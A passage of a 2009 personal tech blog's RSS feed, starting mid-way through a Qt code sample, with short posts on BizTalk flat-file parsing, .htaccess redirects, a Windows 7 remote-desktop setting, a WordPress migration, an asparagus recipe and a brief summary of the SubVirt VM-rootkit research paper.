&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ui.spinBoxGreen&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ui.spinBoxBlue&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f5a97f&#34;&gt;255&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    qDebug() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; color;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QBrush &lt;span style=&#34;color:#8aadf4&#34;&gt;brush&lt;/span&gt;(color);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    brush.setStyle(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;SolidPattern);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ui.graphicsView&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;setBackgroundBrush(brush);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ui.graphicsView&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;backgroundBrush();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Pan-Fried Asparagus</title>
      <link>/post/2009/12/pan-fried-asparagus/</link>
      <pubDate>Tue, 22 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/pan-fried-asparagus/</guid>
      <description>&lt;p&gt;Yes I am a foodie (quite surprising, a lot of people find that surprising). 8-)&lt;/p&gt;
&lt;p&gt;Anyways, this is what I intend to cook tonight among other things. I cannot claim credit for this, I found it online some time back and now its stored on my Wiki at home and I don&amp;rsquo;t know who to give credit for it anymore.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ingredients:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1/4 cup butter&lt;/li&gt;
&lt;li&gt;2 tablespoons olive oil&lt;/li&gt;
&lt;li&gt;1 teaspoon coarse salt&lt;/li&gt;
&lt;li&gt;1/4 teaspoon ground black pepper&lt;/li&gt;
&lt;li&gt;3 cloves garlic, minced&lt;/li&gt;
&lt;li&gt;1 pound fresh asparagus spears, trimmed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Method:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Melt butter in a skillet over medium-high heat.&lt;/li&gt;
&lt;li&gt;Stir in the olive oil, salt, and pepper.&lt;/li&gt;
&lt;li&gt;Cook garlic in butter for a minute, but do not brown.&lt;/li&gt;
&lt;li&gt;Add asparagus, and cook for 10 minutes, turning asparagus to ensure even cooking.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Allowing remote desktop with blank passwords on Win7</title>
      <link>/post/2009/12/allowing-remote-desktop-with-blank-passwords-on-win7/</link>
      <pubDate>Sat, 19 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/allowing-remote-desktop-with-blank-passwords-on-win7/</guid>
      <description>&lt;p&gt;I finally got the time to upgrade my MCE with the RTM bits of Win7 (was running an old RC build until now). Given this is a dedicated MCE with nothing else on it and an on an isolated part of the network, I don&amp;rsquo;t have a password set for the Account I use to login (of course not a recommended practice). Now, I wanted to RDP to the machine and I realised then that Win 7 does not allow RDP with blank passwords by default (Vista behaves in the same fashion). The workaround is a simple fix - to update the group policy as &lt;a
	
		href = &#34;http://dandar3.blogspot.com/2008/04/windows-vista-allow-remote-desktop.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dan shows in this post
	&lt;/span&gt;
&lt;/a&gt;. Even though that post is for Vista, its the same steps for Win 7.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2009/12/thought-of-the-day-3/</link>
      <pubDate>Thu, 17 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/thought-of-the-day-3/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Premature optimization is the root of all evil; on the other hand we cannot ignore efficiency.&lt;br&gt;
     - Knuth and Bentley&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Opening File explorer from a terminal</title>
      <link>/post/2009/12/opening-file-explorer-from-a-terminal/</link>
      <pubDate>Sun, 13 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/opening-file-explorer-from-a-terminal/</guid>
      <description>&lt;p&gt;In Ubuntu if you want to open File Explorer from a terminal (especially as root) then you need to enter the following command: &lt;strong&gt;&lt;code&gt;sudo nautilus&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you want this to run as a background process then just add an &lt;code&gt;&amp;quot;&amp;amp;&amp;quot;&lt;/code&gt; in the end (without the quotes of course).&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Extending WCF Adapters in BizTalk</title>
      <link>/post/2009/12/extending-wcf-adapters-in-biztalk/</link>
      <pubDate>Fri, 11 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/extending-wcf-adapters-in-biztalk/</guid>
      <description>&lt;p&gt;I know a &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2006/11/29/Book-Finished/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		little bit about WCF
	&lt;/span&gt;
&lt;/a&gt; :) but never really used it in anger in BizTalk and also did not get an opportunity to extend the adapter.&lt;/p&gt;
&lt;p&gt;I was looking for something else and came across &lt;a
	
		href = &#34;http://blogs.msdn.com/paolos/archive/2009/11/17/customizing-and-extending-the-biztalk-wcf-adapters.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post
	&lt;/span&gt;
&lt;/a&gt; form Paolo which explains in a lot of detail how does one go about extending and customizing WCF adapters. If you don’t know anything about WCF the first part explains that in general before going in to the BizTalk specific things.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>10 must have WordPress plugins</title>
      <link>/post/2009/12/10-must-have-wordpress-plugins/</link>
      <pubDate>Tue, 08 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/10-must-have-wordpress-plugins/</guid>
      <description>&lt;p&gt;If you search online you will loads of &amp;lsquo;best plugin lists&amp;rsquo; for WordPress, however of the lot that I have seen I truly think that &lt;a
	
		href = &#34;http://wordpressfreakz.com/10-must-have-wordpress-plugins/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this one
	&lt;/span&gt;
&lt;/a&gt; is certainly one of the best ones.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>BizTalk Flat File schema optional attribute issue</title>
      <link>/post/2009/12/biztalk-flat-file-schema-optional-attribute-issue/</link>
      <pubDate>Sun, 06 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/biztalk-flat-file-schema-optional-attribute-issue/</guid>
      <description>&lt;p&gt;I encountered this interesting issue and thanks to Colin we were able to resolve it. There will be situations you will encounter when adding additional optional attributes to a Flat File (FF) schema in BizTalk will cause problems. To get around this you basically will need to set the following properties to &lt;em&gt;relax&lt;/em&gt; the parsing of the attributes which break.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- parser_optimization=&amp;#34;complexity&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- allow_early_termination=&amp;#34;true&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- early_terminate_optional_fields=&amp;#34;true&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This got me thinking more and wanting to understand what does changing these attributes mean under the covers. Below is what I found out on each of these.&lt;/p&gt;
&lt;p&gt;On parser_optimization:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting the parser_optimization to complex essentially generates a more complicated grammar (it uses both a top down and bottom up parsing); this grammar is then used to parse the FF.&lt;/li&gt;
&lt;li&gt;The complicated grammar is better when parsing records with more optional nested options – however it still cannot handle all the layout conditions and can still break in some situations.&lt;/li&gt;
&lt;li&gt;And given the runtime is doing more things, this will be slower than the other option called ‘speed’ (yeah no kidding Sherlock!).
&lt;ul&gt;
&lt;li&gt;The reason the ‘speed’ option is faster is because it uses top-down parsing only.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;In addition you should also set &lt;code&gt;lookahead_depth&lt;/code&gt; to zero (more on this below) to avoid validation failures (against a schema) when there are many optional nodes in the same group/record.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Changing the lookahead_depth itself is trivial but you need to be a little more aware of what this means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This essentially tells the parser when making a parsing prediction how far ahead to look in the token stream.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Setting this to Zero essentially means &amp;lsquo;infinite lookahead’ which in turn means more memory will be consumed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Depending on how busy your BizTalk servers are and how much memory pressure you already experience processing various files (and their sizes), this might be an issue.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Basically, the FF parser is a streaming parser and implemented as a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/LL_parser&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		leftmost derivation
	&lt;/span&gt;
&lt;/a&gt; which takes in a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Context-free_grammar&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CFG
	&lt;/span&gt;
&lt;/a&gt;. Essentially when we change the lookahead_depth to zero we change do not restrict this and the parser can recognize tokens using &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Deterministic_Finite_Automaton&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DFA
	&lt;/span&gt;
&lt;/a&gt; perhaps (of course we don’t know the real implementation).&lt;/p&gt;
&lt;p&gt;For those old school like me, and have played with &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Yacc&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		yacc
	&lt;/span&gt;
&lt;/a&gt; – that is a LL(1) parser – essentially parse the grammar with one token lookahead.&lt;/p&gt;
&lt;p&gt;On allow_early_termination=&amp;ldquo;true&amp;rdquo;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When working with FF’s BizTalk expects that every line is of the same length (either because of the data contained padded with spaces). However if it finds a newline (CR + LF) character then it breaks and you get an error something along the lines of “Unexpected data found while looking for: \r\n”.&lt;/li&gt;
&lt;li&gt;Adding the &lt;code&gt;allow_early_termination&lt;/code&gt; setting helps fix this. Read more &lt;a
	
		href = &#34;http://blogs.msdn.com/skaufman/archive/2004/05/07/127899.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Also note that only the right-most positional field is allowed to early terminate.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lastly, the &lt;code&gt;early_terminate_optional_fields&lt;/code&gt; attribute enables early termination of optional trailing fields. A couple of points to note on this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If your schema does not have this annotation and you open that in the BizTalk editor, then it will automatically add this annotation explicitly and set it to the default value of &lt;code&gt;False&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This only takes affect if you also have the allow_early_termination annotation set to True.&lt;/li&gt;
&lt;li&gt;More details on this &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/aa559329%28BTS.20%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And in case you were wondering this is a supported option by Microsoft as shown in this &lt;a
	
		href = &#34;http://support.microsoft.com/kb/884622&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		KB article
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Default QT4 path</title>
      <link>/post/2009/12/default-qt4-path/</link>
      <pubDate>Sun, 06 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/default-qt4-path/</guid>
      <description>&lt;p&gt;If you wanted to know the default path where QT4 is installed (on Ubuntu) then look in &lt;code&gt;/usr/share/qt4/bin&lt;/code&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Want Virtual Snow on your site?</title>
      <link>/post/2009/12/want-virtual-snow-on-your-site/</link>
      <pubDate>Sat, 05 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/want-virtual-snow-on-your-site/</guid>
      <description>&lt;p&gt;If you want virtual snow (probably nicer than the real stuff as there is no slush left to clean up) then check out Snowstorm: &lt;a
	
		href = &#34;http://www.schillmania.com/projects/snowstorm/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		JavaScript snow effect for HTML
	&lt;/span&gt;
&lt;/a&gt;. Be warned though - this uses a lot of CPU on the computer redendering the page and it will slow things down. Quite cool though.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Redirects setup</title>
      <link>/post/2009/12/redirects-setup/</link>
      <pubDate>Wed, 02 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/redirects-setup/</guid>
      <description>&lt;p&gt;After moving the blog to  WordPress, almost all my redirects should work now from the old blog posts to the new one. For example if you click on this old url &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx&#34;
	

	
		title = &#34;http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx
	&lt;/span&gt;
&lt;/a&gt; it should redirect you and you see the new and correct url.&lt;/p&gt;
&lt;p&gt;Overall it was simple to setup via the .htaccess file and some simple regex. The only thing I found the hard way was that I should be using “RedirectMatch” when setting up the regex rule rather than the “Redirect” which is what I was using. You would use Redirect when trying to redirect without any variables.&lt;/p&gt;
&lt;p&gt;So, as in my case I wanted to redirect from the old url (of community server) to the new one (of wordpress)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Old: &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;New: &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2009/10/25/installing-openscenegraph-on-ubuntu/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com/blog/amit/2009/10/25/installing-openscenegraph-on-ubuntu/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I need to make the following changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change the &lt;code&gt;“/weblog”&lt;/code&gt; to &lt;code&gt;“/blog”&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get rid of &lt;code&gt;“/archive”&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get rid of the &lt;code&gt;“.aspx”&lt;/code&gt; extension&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following rule helped me achieve this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RedirectMatch 301 /weblog/amit/archive/(\[0-9\]\[0-9\]\[0-9\]\[0-9\])/(\[0-9\]\[0-9\])/(\[0-9\]\[0-9\])/(.\*)\\.aspx$ http://desigeek.com/blog/amit/$1/$2/$3/$4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Of course there are a few more rules I have which I cannot go into details.&lt;/p&gt;
&lt;p&gt;Along the way i also discovered a few interesting tools which can help you view the results – one is &lt;a
	
		href = &#34;http://livehttpheaders.mozdev.org/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LiveHTTPHeaders
	&lt;/span&gt;
&lt;/a&gt;; another good one is &lt;a
	
		href = &#34;http://web-sniffer.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://web-sniffer.net/
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are new to this, then a few very good tools online. I would suggest start with &lt;a
	
		href = &#34;http://www.z-oc.com/blog/2009/01/htaccess-redirect-wizardry/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post from Zo
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.karakas-online.de/EN-Book/regular-expressions.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this tutorial on regex
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;i still have one outstanding issue where if I want to redirect part of the URL and not the complete thing, I am not sure how to do it. For example if I want to redirect the old url above to just the year/month of the post instead if the actual post, not sure how to go about doing it. So I want the url below to map to the the one below that.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL to Map: &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com/weblog/amit/archive/2009/10/25/installing-openscenegraph-on-ubuntu.aspx
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Should map to: &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/10/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com/weblog/amit/archive/2009/10/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2009/12/thought-of-the-day-2/</link>
      <pubDate>Tue, 01 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/thought-of-the-day-2/</guid>
      <description>&lt;p&gt;Save the whales. Feed the hungry. Free the mallocs. - Anonymous&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cloud computing Risk Assessment</title>
      <link>/post/2009/11/cloud-computing-risk-assessment/</link>
      <pubDate>Fri, 27 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/cloud-computing-risk-assessment/</guid>
      <description>&lt;p&gt;ENISA (European Network &amp;amp; Information Security Agency) – phew that is a mouthful have gotten together with a number of industry leaders and released a &lt;a
	
		href = &#34;http://www.enisa.europa.eu/act/rm/files/deliverables/cloud-computing-risk-assessment/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Risk assessment for Cloud computing
	&lt;/span&gt;
&lt;/a&gt;. I have not finished reading this and only eyeballed this, but looks good.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Implementing malware with VMs - Subvirt</title>
      <link>/post/2009/11/implementing-malware-with-vms-subvirt/</link>
      <pubDate>Fri, 27 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/implementing-malware-with-vms-subvirt/</guid>
      <description>&lt;p&gt;Microsoft Research (MSR) along with University of Michigan have an &lt;a
	
		href = &#34;http://research.microsoft.com/pubs/67911/subvirt.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting paper
	&lt;/span&gt;
&lt;/a&gt; that showcases a new type of malware specifically for Virtual Machines and hosts running the VM’s (Hper-V, VMWare Server, etc). This malware installs a monitor underneath the host of the VMs as a Virtual Machine Monitor (VMM). All VMM’s run in &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Ring_%28computer_security%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ring 0
	&lt;/span&gt;
&lt;/a&gt; (kernel mode).&lt;/p&gt;
&lt;p&gt;Essentially this is similar to a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Rootkit&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		rootkit
	&lt;/span&gt;
&lt;/a&gt; and they call this a VM based rootkit (VMBR). A VMBR looks to get itself installed underneath the host and essentially runs the target OS as guest. It needs to manipulate the boot sequence to load it self before the ‘guest’ OS. This allows them to run silently with the ‘guest’ OS not even aware of their presence. Of course this makes their detection quite difficult (if not impossible) by the ‘guest’ OS.&lt;/p&gt;
&lt;p&gt;They go on to implement a couple of prototypes which subvert both XP and Linux. The paper discusses ways to detect and prevent VMBR’s such as such as security software running even below the VMBR in an isolated layer which is not controlled by the VMBR. Another option is to boot up from a ‘safe’ medium like a ROM drive or a secure VMM which won’t stop a VMBR, but can at least help detect it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linux Hater blog</title>
      <link>/post/2009/11/linux-hater-blog/</link>
      <pubDate>Thu, 26 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/linux-hater-blog/</guid>
      <description>&lt;p&gt;I was looking for something else and came across the &lt;a
	
		href = &#34;http://linuxhaters.blogspot.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Linux Hater Blog
	&lt;/span&gt;
&lt;/a&gt;. I am not a Linux hater (am writing this on Ubuntu). Some people might think this is funny, but there is a dark undercurrent running in the posts. I honestly stopped reading after a couple of posts. I don&amp;rsquo;t know why is there so much hate against Linux in this blog.&lt;/p&gt;
&lt;p&gt;Am surprised by the negativity on the blog. I am no Linux expert and am more comfortable in Windows, but having used more of Ubuntu (9.04 and 9.10) over the last few weeks for my studies has made be appreciate some aspects even more. Is it perfect? Of course not, and nor is Windows or OS X or insert-your-favourite-OS-here. Maybe I should try and start a blog hater blog.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Suggestions on how best to configure Permalink Settings?</title>
      <link>/post/2009/11/suggestions-on-how-best-to-configure-permalink-settings/</link>
      <pubDate>Thu, 26 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/suggestions-on-how-best-to-configure-permalink-settings/</guid>
      <description>&lt;p&gt;Any suggestions how best to configure the Permalink settings in WordPress? I still need to fix all my old links from this blog when it was running on Community Server 2007. CS 2007 use to use something like &lt;strong&gt;/archive/year/month/day/unique-id&lt;/strong&gt;. Is that the best way to go now as well or are there better and more flexible options?&lt;/p&gt;
&lt;p&gt;Also I tried using the &lt;code&gt;%tag%&lt;/code&gt; field, but it does not like it and had to revert to using &lt;code&gt;%categories%&lt;/code&gt; as you probably can see. Again, any suggestions there?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Add-in recommendation for displaying code in a post?</title>
      <link>/post/2009/11/add-in-recommendation-for-displaying-code-in-a-post/</link>
      <pubDate>Mon, 23 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/add-in-recommendation-for-displaying-code-in-a-post/</guid>
      <description>&lt;p&gt;I searched and found a lot of Wordpress addins/widgets for displaying code in a post and was wondering if there are any recommendations? I need to be able to show XML, C++, C, C# primarily. F# and Haskell would be nice but not essential.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Also should be able to use &lt;a
	
		href = &#34;http://download.live.com/writer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Live Writer
	&lt;/span&gt;
&lt;/a&gt; when posting the code. Am I asking for too much here? :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Goodbye Community Server; Hello WordPress</title>
      <link>/post/2009/11/goodbye-community-server-hello-wordpress/</link>
      <pubDate>Sun, 22 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/11/goodbye-community-server-hello-wordpress/</guid>
      <description>&lt;p&gt;After thinking about it for a long time and then wanting to do it for probably an even longer time, I have finally moved this blog to WordPress from Community Server. Overall the move was mostly painless and did not have to write any code to move the posts and tags over which was excellent. I would have loved to write some code to do that, but I don&amp;rsquo;t have much bandwidth these days so anything I could use (as a user) without writing code or customizing is just great.&lt;/p&gt;
&lt;p&gt;I will post the details on how I did the move in a few days. I know there are many others out there wanting to move from Community Server to WordPress and as part of the move I took some screenshots so watch out for that.&lt;/p&gt;
